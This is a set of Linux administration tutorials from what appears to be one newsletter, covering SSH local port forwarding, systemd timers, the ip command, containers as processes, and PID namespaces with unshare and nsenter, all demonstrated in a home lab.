Let’s confirm that the firewall is active:

$ sudo ufw status

Our firewall is now running. If we try accessing the webserver over HTTP again from the client, it should fail:

$ curl --max-time 5 http://webserver

As expected, the connection times out because the firewall is blocking HTTP traffic.

NOTE:

I added the --max-time 5 option to the curl command to prevent it from hanging indefinitely while waiting for a response. This is useful here because we know the connection will fail due to the firewall rule.

Creating the Local SSH Tunnel

Since we still need to reach the webserver, let’s set up a local SSH tunnel. This will forward a local port on the client machine directly to the webserver’s HTTP port through the existing SSH connection.

Now let’s set up the client, but before we run the command, here’s the syntax for local port forwarding:

$ ssh -L <local_host>:<local_port>:<remote_host>:<remote_port> user@remote_ssh_server

We’ll break this down properly in a moment. For now, let’s run the actual command on the client to create the tunnel:

$ ssh -N -L localhost:8080:localhost:80 vagrant@webserver

This is a good time to explain what each part means:

• -L tells SSH that we’re setting up local port forwarding.

• localhost:8080 means we want to open port 8080 on our local machine (the client).

• localhost:80 means that any traffic sent to localhost:8080 on the client should be forwarded to localhost on port 80 on the webserver from the webserver’s perspective.

• vagrant@webserver is simply the SSH server we’re creating the tunnel to, which in this case is the webserver itself.

You also probably noticed the -N option:

• -N tells SSH not to execute any remote commands. We only want the tunnel, not a remote shell.

If we removed -N, SSH would log us into a shell session after establishing the tunnel, which isn’t what we want here. We only need the tunnel.

Once the tunnel is established, SSH appears to “hang”, but that’s normal. It’s not stuck; it’s simply waiting for traffic to arrive on port 8080.

So we switch to a new terminal window to test it.

Verifying the Tunnel

In the new terminal window, let’s confirm that SSH is listening on port 8080 on the client:

$ vagrant ssh client
$ lsof -i :8080

You can see that the SSH process is listening on both IPv4 and IPv6 localhost on port 8080 (http-alt). We can also confirm that the SSH connection to the webserver is active:

$ sudo ss -tnp | grep sshd

The first line shows the important part, our client (192.168.60.10) is connected to the webserver (192.168.60.11) over SSH. This confirms that the tunnel is active and ready.

Now, let’s try to access the webserver through the tunnel by sending a request to localhost:8080 on the client:

$ curl localhost:8080

And there we go, the tunnel works. The traffic was forwarded from our local port 8080 to the webserver’s port 80 via the SSH connection, bypassing the firewall restrictions.

Understanding the Two “localhost” Values

Before we move forward, there’s one point I really need to stress. A lot of people get confused about the two localhost values in the ssh -L command. So let’s clear that up properly.

The first localhost:8080 refers to your local machine, the client where you are running the SSH command. This is the port you are opening on your own computer. You can even simplify it and write just 8080 instead of localhost:8080:

$ ssh -N -L 8080:localhost:80 vagrant@webserver

It works the same way. When you don’t specify an address for the local bind, SSH automatically uses the loopback interface (localhost). This is because, by default, SSH local port forwarding listens only on the client’s loopback interface (127.0.0.1), so including localhost is optional. To bind to another interface on the client, you must explicitly specify its IP or use option -g. This is useful if you want other machines to access the forwarded port on your laptop.

For example, I will terminate the previous tunnel by pressint CTRL+C and run the following:

$ ssh -N -g -L 192.168.60.10:8080:localhost:80 vagrant@webserver

This will allow other machines on the same network to access port 8080 on your laptop (client). And the traffic will still be forwarded to the webserver’s port 80 via the SSH tunnel. Let’s test that using my host machine:

$ curl http://192.168.60.10:8080

And it works! The traffic is successfully forwarded through the SSH tunnel.

The second localhost:80 refers to the target (destination) machine from the perspective of the SSH server. In this case, the SSH server is the webserver, so localhost on that side means the webserver itself. If the service were running on a different machine behind the SSH server, then you would replace localhost with that machine’s hostname or IP address. You’ll see exactly how this works when we cover SSH tunneling through a bastion host.

Visualizing the Traffic Flow

It’s one thing to run the command and see it work, and another to picture how the traffic actually moves. This diagram breaks the flow down step by step, from the client listening on port 8080, through the SSH tunnel, and finally to the service running on the remote machine.

Quick Tip

When you create an SSH tunnel, the session normally sits in the foreground and keeps your terminal busy. If you don’t want that, you can send the tunnel straight to the background by adding the -f option:

$ ssh -f -N -g -L 192.168.60.10:8080:localhost:80 vagrant@webserver

The -f flag tells SSH to move itself into the background just before running the command. This is handy when SSH will still prompt for a password or passphrase, but you don’t want the tunnel occupying your terminal afterward.

The only difference is how you stop it. When you run a tunnel in the foreground, you can simply press CTRL + C to close it. But once it’s in the background, you need to terminate the process manually.

You can find the process ID of the tunnel like this:

$ lsof -i :8080

Note the PID from the output, then end the tunnel with:

kill <PID>

This cleanly shuts down the background SSH tunnel without affecting anything else.

Looking Ahead

What we’ve covered here is only the first piece of what SSH tunnels can do. Local port forwarding gives you a private path into a service behind the SSH server, but there are situations where the direction needs to be reversed.

In the next part of this series, we’ll look at that opposite pattern, Remote Port Forwarding, and see how it lets a remote machine reach something running on your local system, even if you’re behind NAT or a firewall.

Thanks for reading!

If you enjoyed this content, don’t forget to leave a comment, like ❤️ and subscribe to get more posts like this every week.

Subscribe now

What are Systemd Timers?

In Linux, systemd timers provide a way to schedule tasks similar to cron but with more advanced features and integration into the systemd ecosystem. While cron schedules tasks purely on time intervals, systemd timers allow additional conditions like dependencies, service integration, and event-based triggers. This makes systemd timers a powerful tool for managing system tasks efficiently.

The Components of Systemd Timers

A systemd timer consists of two main parts: a timer unit and a service unit.

• Timer Unit: This file defines when the task should run. It specifies the timing parameters, such as OnCalendar for calendar-based schedules and OnBootSec for intervals after boot time.

• Service Unit: This file defines the actual task that will be executed. It’s where you specify what the timer is triggering, whether it’s running a script, restarting a service, or performing a cleanup operation.

These two units work together, with the timer determining the schedule and the service handling the task execution.

Why Use Systemd Timers Over Cron?

While cron is great for simple, time-based scheduling, systemd timers offer additional features that make them ideal for certain tasks:

• Better Integration with Systemd: systemd timers can interact with other systemd units, making it easier to coordinate tasks with service dependencies.

• Event-Based Scheduling: In addition to time-based scheduling, systemd timers support event-based scheduling with directives like OnBootSec, which lets you run tasks a specific time after boot, or OnUnitActiveSec, which schedules tasks relative to other units.

• Persistent Scheduling: If a task is missed (for example, due to system downtime), systemd timers can be set to catch up automatically.

The following table shows the differences between systemd timers and cronjobs:

Creating a Systemd Timer

To demonstrate how systemd timers work, let’s create a simple example where a timer logs the current date and time to a file every 10 minutes. This is a straightforward way to set up a repeating task and see systemd timers in action.

Step 1: Create the Service Unit

The service unit defines the actual task. In this example, we’ll write the current date and time to a log file (/tmp/date).

Open a new service file in your preferred editor:

$ sudo nano /etc/systemd/system/date.service

Add the following content to specify the task:

[Unit]
Description=Log current date to /tmp/date

[Service]
Type=oneshot
ExecStart=/bin/sh -c ‘date >> /tmp/date’

• Description: A brief description of what the service does.

• Type=oneshot: Indicates that the task should run once each time it’s triggered.

• ExecStart: The command to execute. Here, we’re appending the current date to /tmp/date with each run.

Step 2: Create the Timer Unit

Now, we need a timer unit that schedules when to run date.service.

Create a new timer file:

$ sudo nano /etc/systemd/system/date.timer

Add the following content to define the timing parameters:

[Unit]
Description=Run date.service every 10 minutes

[Timer]
OnCalendar=*:0/10
Persistent=true

[Install]
WantedBy=timers.target

Here’s what each directive does:

• OnCalendar=*:0/10: Runs the service every 10 minutes. The syntax :0/10 means it triggers at every hour, at minutes 0, 10, 20, etc.

The OnCalendar derivative supports various time expressions, such as daily, weekly, hourly, or even specific dates and times.

• Persistent=true: Ensures any missed executions (e.g., due to system downtime) run at the next opportunity.

• WantedBy=timers.target: Sets up the timer to start automatically at boot.

Sysxplore is an indie, reader-supported publication.
I break down complex technical concepts in a straightforward way, making them easy to grasp. A lot of research goes into every piece to ensure the information you read is as accurate and practical as possible.

To support my work, consider becoming a free or paid subscriber and join the growing community of tech professionals.

Subscribe now

Step 3: Enable and Start the Timer

Once both units are defined, reload systemd to recognize them and start the timer.

Reload the systemd daemon:

$ sudo systemctl daemon-reload

Enable and start the timer:

$ sudo systemctl enable --now date.timer

$ sudo systemctl start date.timer

Enabling the timer ensures it starts at boot, and starting it now initiates the 10-minute schedule without needing a reboot.

Step 4: Checking the Timer Status

To view the status of a timer and see when it last ran and when it’s scheduled to run next, use:

$ sudo systemctl list-timers --all

This command provides a list of all active timers, including system timers, allowing you to keep track of their schedules and confirm they’re running as expected.

You can also get specific details of a timer with:

$ sudo systemctl status date.timer

This command provides information on whether the timer is running and when it will run next, helping you verify that everything is set up correctly. If you look at /tmp/date, you should start seeing timestamps every 10 minutes, confirming that your timer is working as expected.

And that’s it! You’ve set up a systemd timer to run a task at regular intervals, giving you a useful alternative to cron for managing scheduled tasks on your Linux system.

Step 5: Stopping and Disabling a Timer

If you need to stop or disable a timer, it’s as simple as running:

$ sudo systemctl stop date.timer

$ sudo systemctl disable date.timer

Stopping a timer halts its current schedule, and disabling it prevents it from starting at boot.

Understanding Timer Time Expressions

One of the highlights of systemd timers is the flexibility of the OnCalendar directive. Here’s a quick overview of some common expressions you can use:

• daily: Runs once every day at midnight.

• hourly: Runs at the top of every hour.

• weekly: Runs every Monday at midnight.

• OnCalendar=*-*-1 00:00:00: Runs at midnight on the first day of each month.

• Custom Times: You can also specify complex schedules, like Mon *-1..7 for running the timer only on Mondays in the first week of each month.

This flexibility is particularly helpful when you have tasks with non-standard scheduling needs.

Advanced Features of systemd Timers

• Accuracy Settings: By default, timers may not execute at the exact specified time but within a variance defined by AccuracySec. This can be adjusted for precise scheduling.

• Transient Timers: These are temporary timers that exist only for the current session and can be created using systemd-run.

• Logging and Monitoring: Timers integrate with system logging, allowing you to monitor their execution history easily.

Thanks for reading!

If you enjoyed this content, don’t forget to leave a comment, like ❤️ and subscribe to get more posts like this every week.

Subscribe now

ip is part of the iproute2 suite, included by default in all modern Linux distributions. It’s a powerful all-in-one tool for managing network interfaces, IP addresses, routes, and neighbor tables, replacing older utilities like ifconfig, route, and arp.

You’ll use it to bring interfaces up or down, assign addresses, inspect routes, create network namespaces and even manipulate neighbor (ARP) tables.

In this episode, we’ll focus on using the ip command to manage network interfaces, addresses, routes, and connections on a Linux system.

Peeking Inside the ip Command

Before we start experimenting, let’s look at how the ip command is structured.

ip [ OPTIONS ] OBJECT { COMMAND | help }

At first glance, this may look dense, but it’s actually straightforward once you understand the pattern. The structure is always:

1. Options – Extra flags that change how ip behaves globally.

2. Object – What part of the network you’re interacting with.

   Each object represents a kernel networking subsystem. Some common ones are:

   • link – network interfaces (Ethernet, Wi-Fi, loopback)

   • address – IPv4 or IPv6 addresses on those interfaces

   • route – entries in the routing table

   • neighbor – ARP or NDP neighbor cache

   • maddress – multicast memberships

   • rule – routing policy database

TIP

You can use short forms too: addr for address, r for route, l for link, and so on.

3. Command – The action you want to take on that object.

   Each object supports its own set of commands:

   • show or list – display information

   • add – create a new entry (address, route, etc.)

   • del – remove an entry

   • replace – update an existing one

   • help – display valid options and syntax


Managing Network Interfaces

Every network device in Linux, whether wired, wireless, or virtual, is represented by an interface. These interfaces are managed through the link object of the ip command.

When you use ip link, you’re listing and controlling the network interfaces recognized by the system.

Let’s start exploring.

Viewing All Interfaces

To see all interfaces currently recognized by your system, run:

ip link show

You’ll get output similar to:

Let’s decode that quickly:

• The number (1:, 2:) is the interface index.

• lo and enp0s3, enp0s8 are interface names.

• Flags inside < > describe capabilities and state (UP, BROADCAST, MULTICAST, etc.).

• mtu is the maximum transmission unit, the largest packet size the interface can handle.

• link/ether shows the MAC address (hardware address).

• The state tells whether the interface is currently up (active) or down.

NOTE

lo is the loopback interface, a virtual interface the system uses to talk to itself. It’s always present and usually stays up.

Sysxplore is an indie, reader-supported publication.
I break down complex technical concepts in a straightforward way, making them easy to grasp. A lot of research goes into every piece to ensure the information you read is as accurate and practical as possible.

To support my work, consider becoming a free or paid subscriber and join the growing community of tech professionals.

Subscribe now

Bringing an Interface Down

If you want to temporarily disable a network interface, use:

$ sudo ip link set dev enp0s8 down

This shuts down packet transmission and reception on enp0s8 (notice the state is DOWN). It’s useful when testing configurations or disabling a specific connection without unplugging cables or removing devices.

After running it, the interface will no longer appear in ip route show outputs because it’s considered inactive by the kernel. The routing table only displays routes from active interfaces.

Bringing an Interface Up

When you bring an interface up, you’re telling the system that the device should start transmitting and receiving packets.

$ sudo ip link set dev enp0s8 up

This sends a netlink request that transitions the enp0s8 interface to an UP state.

You can verify it:

$ ip  -c link show enp0s8

You should now see the UP flag and state UP in the output.

And also notice, the interface route is now showing in the routing table.

Renaming Interfaces

Linux lets you rename interfaces, which can be useful for creating clear and predictable names when working with multiple network connections or during troubleshooting.

Read more

Before moving on to network namespaces, it’s important to grasp a key concept: containers aren’t virtual machines or special kernel objects, they’re just ordinary Linux processes.

Tools like Docker, Podman, and containerd build on what the Linux kernel already provides. They bundle namespaces, cgroups, and a filesystem view into a single convenient abstraction and call that a container. But underneath, nothing extraordinary happens, the kernel is simply spawning and managing regular processes, just like it always has.

One of the most appealing things about containers is that you don’t need to understand how they work under the hood to use them. Tools like Docker provide a simple interface that hides much of the underlying complexity, you can build, run, and stop containers without ever thinking about what happens inside.

But to truly understand containers, it helps to see what they really are from the system’s point of view. Since containers rely on Linux kernel features like namespaces and cgroups, we can use ordinary Linux commands to inspect and even interact with them directly, no container tooling required.

In this part, we’ll do exactly that. We’ll use simple Linux tools, commands like ps and the /proc filesystem, to uncover what’s happening behind Docker’s abstraction and prove that containers are, in fact, just Linux processes running in isolation.

Are Containers Essentially Linux Processes?

When you start a container, you’re not launching a virtual machine or a separate operating system. You’re simply starting one or more isolated Linux processes.

Container runtimes like Docker, containerd, or CRI-O achieve this isolation by using namespaces and control groups (cgroups). Namespaces limit what a process can see, its view of PIDs, filesystems, networks, and users, while cgroups limit what a process can use, CPU time, memory, I/O bandwidth, and so on.

Together, these two mechanisms form the core of containerization. They allow a process to believe it’s running alone on the system, when in reality it’s just another process under the same kernel.

You might be wondering: are containers really just processes? Let’s confirm that using a few hands-on experiments.

Before we begin, make sure you have:

• A Linux host or virtual machine with Docker installed.

• Any container image available, we’ll use Redis for this demonstration.

Let’s start by pulling the Redis image from Docker Hub:

$ docker pull redis

Next, check if there are any Redis processes currently running on your host:

$ ps -fC redis-server

At this point, there should be no output, since no Redis instance is running yet.

Now, start a Redis container named redis-demo:

$ docker run --name redis-demo -d redis

Once it’s up, run the same ps command again:

$ ps -fC redis-server

This time, you’ll see a Redis process in the list, complete with a process ID (PID) assigned by the host kernel. That’s because Docker didn’t create anything magical. It simply asked the kernel to start a new process (the Redis server) inside a set of namespaces and cgroups.

Sysxplore is an indie, reader-supported publication.
I break down complex technical concepts in a straightforward way, making them easy to grasp. A lot of research goes into every piece to ensure the information you read is as accurate and practical as possible.

To support my work, consider becoming a free or paid subscriber and join the growing community of tech professionals.

Subscribe now

Differentiating Container Processes from Host Processes

Now that Redis is running, we can observe it directly from the host. But how can we tell whether a process belongs to a container or is running natively on the system?

Let’s first look at all processes related to Redis:

$ ps -ef --forest 

The --forest flag displays processes in a tree format, showing parent–child relationships. In the output, notice that your redis-server process isn’t alone, it appears as a child of a parent process containerd-shim-runc-v2.

That parent process is part of Docker’s runtime layer. When you start a container, Docker uses containerd (its underlying daemon) to spawn a lightweight runtime process called a shim. This shim is responsible for keeping the container process alive even if the Docker daemon restarts, and it acts as a middle layer between Docker and the containerized process.

So, when you see something like this:

 /usr/bin/containerd-shim-runc-v2 
 \_ redis-server *:6379

it confirms that your Redis process is running inside a container. If you installed Redis directly on the host, its parent process would typically be systemd or your shell, not a container runtime shim.

You can also confirm which containers are running using Docker itself:

$ docker ps

This command lists active containers and gives you their names, IDs, images, and status. It’s a simple way to cross-check what you’re seeing from the system-level ps output.

If you want to go a step further and identify the exact process ID of a container’s main process on the host, run:

docker inspect -f ‘{{.State.Pid}}’ redis-demo

This tells you the PID assigned by the kernel to the container’s init process, the same one you can see in your ps tree or inside /proc.

Exploring Containers Through the /proc Filesystem

Now that we’ve confirmed containers are simply processes, let’s take a closer look inside one, without using Docker commands.

Linux exposes a virtual filesystem called /proc, which provides a live view of the system and every process running on it. Each process has its own directory under /proc named after its process ID (PID). Inside that directory, you’ll find details such as its open files, environment variables, namespaces, and even its root filesystem.

Let’s list the top-level contents of /proc:

$ ls /proc

You’ll see a mix of files (like cpuinfo, meminfo, and uptime) and directories named with numbers, each number representing a process ID. For example, /proc/1 usually corresponds to systemd, the init process of the host.

Earlier, we saw that our Redis container process had a PID of 2112. That means everything about that container can be inspected under /proc/2112.

$ ls /proc/2112

This directory gives you a complete snapshot of that process’s world: its open file descriptors, mounts, environment, and namespace references. One particularly interesting entry is the root symlink:

$ sudo ls -l /proc/2112/root

This points to the root filesystem as seen by the Redis container. If you navigate into it (using sudo), you’ll be effectively looking at the container’s filesystem from the host:

$ sudo ls /proc/2112/root

You’ll notice it looks just like the container’s internal filesystem. You can even create or modify files here:

$ sudo touch /proc/2112/root/demo-file.txt

That file now exists inside the container. You can verify it by checking from within Docker:

$ docker exec redis-demo ls /

You’ll see demo-file.txt listed among the files. This experiment demonstrates a powerful fact: since containers are just processes, you can inspect and even manipulate them through the kernel’s /proc interface, no docker exec required.

TIP

Be careful when modifying files this way, /proc/[PID]/root gives you direct access to a live container’s filesystem. It’s incredibly useful for forensics or troubleshooting but can cause unintended side effects if used carelessly.

Managing Containers Like Regular Processes

Because containers are just processes, you can control them using the same tools you’d use for any other Linux process. For example, you can stop a container by sending it a signal directly, without ever touching the Docker CLI.

Start by checking which containers are currently running:

$ docker ps

Now identify the PID of your Redis container (if you don’t already have it):

$ ps -fC redis-server

Here our Redis process has PID 2112. You can stop it by sending a SIGKILL signal with the kill command:

$ sudo kill -9 2112

Check again with Docker:

$ docker ps

The Redis container will no longer be listed, because when you killed its process, the container stopped. Docker simply treats that process as the container’s main entry point (PID 1 inside its namespace). Once it exits, the container is considered stopped.

IMPORTANT

This method bypasses Docker’s normal shutdown sequence, which gracefully stops containers by sending a SIGTERM first and giving processes time to exit cleanly. Using kill -9 should only be done for troubleshooting or testing, not in production.

You can also experiment with other signals. For example:

$ sudo kill -SIGTERM 2112

This allows the process to shut down gracefully, mimicking what happens when you run docker stop redis-demo.

This hands-on test reinforces a simple truth: container runtimes like Docker are management layers. They track and coordinate Linux processes, but the actual isolation and control happen entirely within the kernel.

Looking Ahead

What we’ve seen in this part is the reality behind containerization: containers aren’t special kernel objects or miniature virtual machines, they’re simply Linux processes running inside a collection of namespaces and controlled by cgroups.

By examining running containers with tools like ps and exploring their directories under /proc, you’ve seen how every container maps directly to a process on the host. You’ve also learned that because of this, you can interact with containers at the process level, inspecting, signaling, or even modifying them without any container tooling.

This perspective is crucial to understanding how container runtimes like Docker or Podman operate. They don’t reinvent process management; they orchestrate it. The Linux kernel does all the real isolation work.

In the next part of the series, we’ll move deeper into that isolation and explore Network Namespaces, the feature that gives each container its own independent network stack, IP address, and routing table. You’ll learn how to create network namespaces manually, connect them using virtual Ethernet pairs, and see exactly how Docker wires containers together behind the scenes.

Thanks for reading!

If you enjoyed this content, don’t forget to leave a comment, like ❤️ and subscribe to get more posts like this every week.

In the previous part, we explored what Linux namespaces are, the different types available, and how they’re used by containers.

In this part, we’ll continue where we left off and take a closer look at one of the most fundamental namespace types, the PID namespace.

As you already know, every process running on Linux has a unique Process ID (PID).

If you run ps aux, you’ll see every process on the system, no matter who started it.

This global visibility is convenient, but it also means any process (with enough privileges) can observe or even interact with others by sending signals.

PID namespaces change that behavior.

They give processes their own private view of the system’s process tree.

Inside a PID namespace, process numbering starts from 1 again, and that process becomes the “init” process for that isolated environment.

This also means that two processes in different PID namespaces can share the same PID without conflict, each namespace maintains its own independent process ID space.

This is exactly how containers appear to have their own independent process lists, even though they all share the same kernel.

Docker, Podman, and other container runtimes rely heavily on PID namespaces to make each container behave like a self-contained system.

In this section, we’ll see how PID namespaces work in practice by creating one manually using unshare, and by examining how parent, child, and grandchild namespaces relate to one another.

Creating a New PID Namespace with unshare

In the previous part, we saw how to list all namespaces on a system using the lsns command.

Let’s start from there to remind ourselves what namespaces currently exist on the host.

$ sudo lsns

This output lists all namespaces on the system, their types, and the processes associated with them.

Let’s focus specifically on the PID namespaces:

$ sudo lsns -t pid

Here you can see there’s only one PID namespace, the initial or root namespace.

It contains every process that exists when the system boots.

We can confirm this by displaying the PID namespace each process belongs to:

$ sudo ps -eo pidns,pid,cmd

You’ll notice every process shares the same namespace ID (4026531836 in this case), meaning they all belong to the root PID namespace.

Now that we know what the root namespace looks like, let’s create a new one using the unshare command.

Before we begin, here’s how we’ll organize our setup:

• parent-ns (red): the host terminal, representing the root PID namespace.

  

• child-ns-01 (green): the second terminal, we’ll use this one to create a new PID namespace using the unshare command.

  

• child-ns-02 (blue): the third terminal, for creating another PID namespace again.

  

To create our first PID namespace, we’ll use the unshare command.

unshare lets you start a process in one or more new namespaces without using any container tools.

In the second terminal (child-ns-01), run:

$ sudo unshare --pid --fork --mount-proc /bin/bash

This command tells Linux to start a new shell in its own PID namespace. Here’s what each option does:

• sudo, required since creating namespaces needs root privileges.

• unshare, creates new namespaces and runs a program inside them.

• -pid, creates a new PID namespace where process numbering starts from 1.

• -fork, forks a child process to enter the new namespace (the parent cannot change its own PID).

• --mount-proc, mounts a fresh /proc filesystem inside the new namespace so that it only displays the processes that exist within that namespace. Without this option, commands like ps or top would still read from the host’s /proc, showing all system processes instead of the isolated ones. Which defeats the purpose of PID namespace isolation.

• /bin/bash, launches a new shell inside that namespace.

Once inside, list the processes:

# ps aux

You’ll see just two processes, bash and ps.

That’s because this new namespace has its own isolated process table.

To verify, check your shell’s PID:

# echo $$

It prints 1, meaning this shell is now acting as the init process of the new namespace, responsible for reaping child processes and managing lifecycle events inside this isolated world.

From this short test, you’ve essentially recreated one of the key aspects of container behavior: a private process world with its own PID 1.

Inside the new PID namespace (child-ns-01), let’s create a few processes to see how they appear.

For simplicity, we’ll use the sleep command and run each instance in the background so they don’t block our terminal:

# sleep 10000 &
# sleep 9000 &
# sleep 8000 &

Now check the process list again:

# ps aux

From the output, each sleep command has its own unique PID within this namespace, starting from 1 for bash, then 12, 13, and 14 for the sleep processes and finally the 16 for the ps command we just ran.

We can confirm that this shell is running in its own PID namespace by listing PID namespaces again:

$ lsns -t pid

Here, the namespace ID 4026532194 is different from the root namespace (4026531836).

This means processes here exist in their own isolated PID namespace, they can only see other processes within this namespace and any namespaces created below it.

Note

Before we move on, there’s one important point to note. If you had run lsns (without the -t pid flag) in the child-ns-01 terminal, you would still see all the other namespaces listed. You might expect to see only the PID namespace we created, but that’s not the case.

When we use the unshare --pid command, it creates a new PID namespace but does not automatically create new namespaces for network, UTS, IPC, user, or cgroup, those remain shared with the parent process. However, in our case, we also used the --mount-proc option. This flag causes the kernel to create a new mount namespace as well, so that a fresh /proc filesystem can be mounted inside the isolated environment without affecting the host’s global mount table.

So, when you run lsns inside the child shell, you’ll notice that the PID and mount namespace IDs differ from the host’s root process (/sbin/init), while the other namespaces (network, UTS, IPC, user, cgroup, etc.) have the same IDs as the parent, since they are still shared.

Now that we’ve confirmed the new namespace exists, let’s go back to the parent-ns terminal and check what it can see.

Run the following command to view all processes and their PID namespaces, filtering for the child namespace ID (4026532194 in this example):

$ sudo ps -eo pid,pidns,cmd | grep 4026532194

Notice we can see all processes running in our new child namepaces (4026532194). This confirms that the root (parent) namespace can see the processes running inside the child namespace, because all PID namespaces ultimately descend from the root.

To double-check, you can list all PID namespaces on the system:

$ sudo lsns -t pid

As you can see, we now have to PID namespaces. The root namespace (4026531836) and the new child namespace (4026532194) now coexist, each with its own process table.

Sysxplore is an indie, reader-supported publication.
I break down complex technical concepts in a straightforward way, making them easy to grasp. A lot of research goes into every piece to ensure the information you read is as accurate and practical as possible.

To support my work, consider becoming a free or paid subscriber and join the growing community of tech professionals.

Subscribe now

Process Visibility Between Parent and Child Namespaces

One of the most interesting aspects of PID namespaces is that they’re hierarchical.

When you create a new one, it becomes a child of the namespace in which it was created.

As mentioned earlier, PID namespaces allow the same PID number to exist in multiple namespaces. A process has a unique PID within its own namespace, but it’s also assigned additional PIDs in each parent namespace above it, all the way up to the root PID namespace.

Let’s see this in action.

Inside child-ns-01, list the processes we created earlier:

# ps aux

Now return to the parent-ns terminal and check how these same processes appear from the host’s perspective:

$ sudo ps -eo pid,pidns,cmd | grep 4026532194

Notice how the PIDs differ.

For example, a process that appears as PID 12 inside child-ns-01 appear as PID 2269 in the parent namespace.

This shows how PID namespaces can reuse the same process numbers independently.

To verify the relationship, inspect the namespace mapping of one of the sleep processes. Inside parent-ns run:

$ sudo cat /proc/2169/status | grep NSpid

This confirms that process 2269 in the parent namespace corresponds to PID 9 inside the child namespace, proving the hierarchical mapping between the two.

Creating Another Child Namespace

Now let’s move to the third terminal (child-ns-02) to extend this concept.

We’ll create another PID namespace to see how visibility works across multiple layers.

In child-ns-02, run:

$ sudo unshare --pid --fork --mount-proc /bin/bash

Verify the new namespace:

$ sudo lsns -t pid

We now have a new PID namespace with ID 4026532196.

Let’s start a few background processes inside it:

# sleep 7000 &
# sleep 6000 &
# sleep 5000 &

Check the process list:

# ps aux

Each process has a PID unique to this namespace, starting from 1 for bash, followed by 13, 14, and 15 for the sleep commands.

Now go back to the parent-ns terminal and check what it can see:

$ sudo ps -eo pid,pidns,cmd | grep 4026532196  

Again, the parent namespace can see all the processes from this new child namespace.

However, if you switch back to child-ns-01 and run:

$ ps aux

You’ll only see the processes that exist in child-ns-01, not those from the parent or child-ns-02.

This demonstrates a key rule of PID namespaces:

• The parent namespace can always see processes inside its children.

• The child namespace can see only its own processes and descendants, never those of the parent or siblings.

This hierarchical visibility is the foundation for how container runtimes manage and isolate processes while still maintaining control from the host.

Grandchild Namespaces and Deeper Hierarchies

PID namespaces don’t just stop at one level, they can be nested.

A child namespace can create another namespace inside it, forming a grandchild relationship.

Each layer becomes more isolated than the one above it.

Let’s build a small chain to see how this works in practice.

Inside the first child namespace (child-ns-02), run the unshare command again to create two more PID namespaces:

# unshare --pid --fork --mount-proc sleep 20000 &

# unshare --pid --fork --mount-proc sleep 10000 &

Notice the ampersand (&) at the end, this runs the command in the background so we can continue using the current shell without immediately switching into the new namespace.

Run lsns -t pid inside child-ns-02 to verify the new namespaces that now exist:

$ sudo lsns -t pid

Here, you can see multiple PID namespaces:

• 4026532196 → represents child-ns-02 (the first child)

• 4026532198 and 4026532200 → represent newly created nested (grandchild) namespaces

Each one is its own isolated environment with a separate process list.

Now, from the first child shell (child-ns-02), list the running processes:

# ps aux

From this view, you can see both the child and grandchilds namespaces processes

However, if you were to switch into one of the (grandchild) shell and run ps aux, you would only see its own processes, not those of its parent or the host.

To demonstrate this, we can use the nsenter command to enter one of the grandchild namespaces by targeting a process running inside it. For example:

$ nsenter --target 13 --pid --mount /bin/bash

Here, the --target 13 option tells nsenter to attach to the process with PID 13 (which is running inside the grandchild namespace). The --pid and --mount flags ensure we enter both its PID and mount namespaces, giving us a proper view of that isolated environment.

We’ll discuss how nsenter works in more detail later, but for now, this demonstrates how nested PID namespaces maintain strict process isolation.

To visualize the hierarchy:

Host (PID namespace level 0)
 └── Child namespace (level 1)
      └── Grandchild namespace (level 2)

Each namespace sees only processes at its level and below:

• The host can see all processes.

• The child can see its own and any descendants.

• The grandchild can see only itself.

This layered visibility model ensures isolation while keeping control in the hands of the parent namespace, the same principle container runtimes use when managing nested containers or sandboxes.

The Role of PID 1 Inside Namespaces

In Linux, the very first process started by the kernel during boot is assigned PID 1, traditionally /sbin/init or systemd.

This process is special because it acts as the parent of all other processes on the system and is responsible for reaping orphaned children and handling system shutdown.

The same rule applies inside PID namespaces.

Whenever a new PID namespace is created, the first process started inside it becomes PID 1 within that namespace, its own miniature version of the system’s init process.

This role carries similar responsibilities, behaves differently from ordinary processes, and is responsible for several critical tasks:

• Reaping zombie processes: cleaning up processes that have finished executing but haven’t been removed from the process table.

• Receiving orphaned processes: when a parent process exits, its orphaned children are adopted by PID 1.

• Controlling the namespace lifecycle: when PID 1 exits, the entire namespace is destroyed, and all remaining processes are automatically terminated.

This mechanism keeps each namespace self-contained and prevents orphaned or lingering processes after it ends. One of the core principles that container runtimes rely on for process isolation and cleanup.

In containerized environments, PID 1 is often the main application process itself (like nginx, bash, or python), or a lightweight init system such as tini or dumb-init, which handles process reaping and signal forwarding on behalf of the container.

Using nsenter to Inspect Processes Inside Another Namespace

Let’s now discuss the nsenter command in greater detail.

The nsenter command allows you to enter an existing namespace from another namespace and interact with it directly.
It’s especially handy for troubleshooting, monitoring, or exploring what’s happening inside containers or isolated environments without using Docker or Podman.

Let’s see it in action.

First, go back to child-ns-01, which has the namespace ID 4026532194, and list all processes:

# ps aux

Now switch back to the parent-ns terminal and find the corresponding host PIDs for the processes running inside that namespace:

$ sudo ps -eo pid,pidns,cmd | grep 4026532194

From this, you can see that process 2256 on the host corresponds to the bash process inside the PID namespace 4026532194.

Now, from the parent-ns, use nsenter to attach to that process’s namespace:

$ sudo nsenter --target 2256 --pid --mount /bin/bash

This opens a new shell inside the same PID and mount namespaces as the process with PID 2256.

You can verify this by listing the processes again:

# ps aux

You’ll now see the same limited process list that exists inside the namespace, confirming that nsenter has successfully joined it.

This confirms that nsenter successfully joined the namespace.
You can use the same approach with any process in that namespace to achieve the same result.

This ability to “attach” to another process’s namespace is what makes nsenter invaluable for debugging containers, inspecting running processes, or performing forensic analysis without needing container-specific tooling.

Seeing It All Together

Now that you’ve seen how PID namespaces work manually, let’s look at how containers use them in practice.

We’ll use Docker for this demonstration, but you can try the same with Podman or any other container runtime.

Before we begin, make sure you’ve exited all previously created namespaces so that you’re back at the parent-ns terminal (the host).

If Docker isn’t installed, install it first, we’ll continue using it throughout the rest of this series.

Run an interactive container with a bash shell:

$ docker run -it --name pidns-demo nginx /bin/bash

Once inside the container, install the procps package (so we can use the ps command):

# apt update && apt install procps -y

Now check the processes running inside the container:

# ps aux

Here, the container has its own PID namespace, with bash as PID 1 and ps as PID 133.

Even though these PIDs overlap with ones on the host, they’re completely separate within the container.

Let’s create a few background processes:

# sleep 5000 &
# sleep 4000 &
# ps aux

Now verify the namespace ID from inside the container:

$ lsns -t pid

Docker has automatically created a new PID namespace (4026532196) for this container.

Let’s confirm that from another terminal by running:

$ sudo ps -eo pid,pidns,cmd | grep 4026532196

As you can see, the host can view all processes running inside the container, because the root namespace can always see into its children.

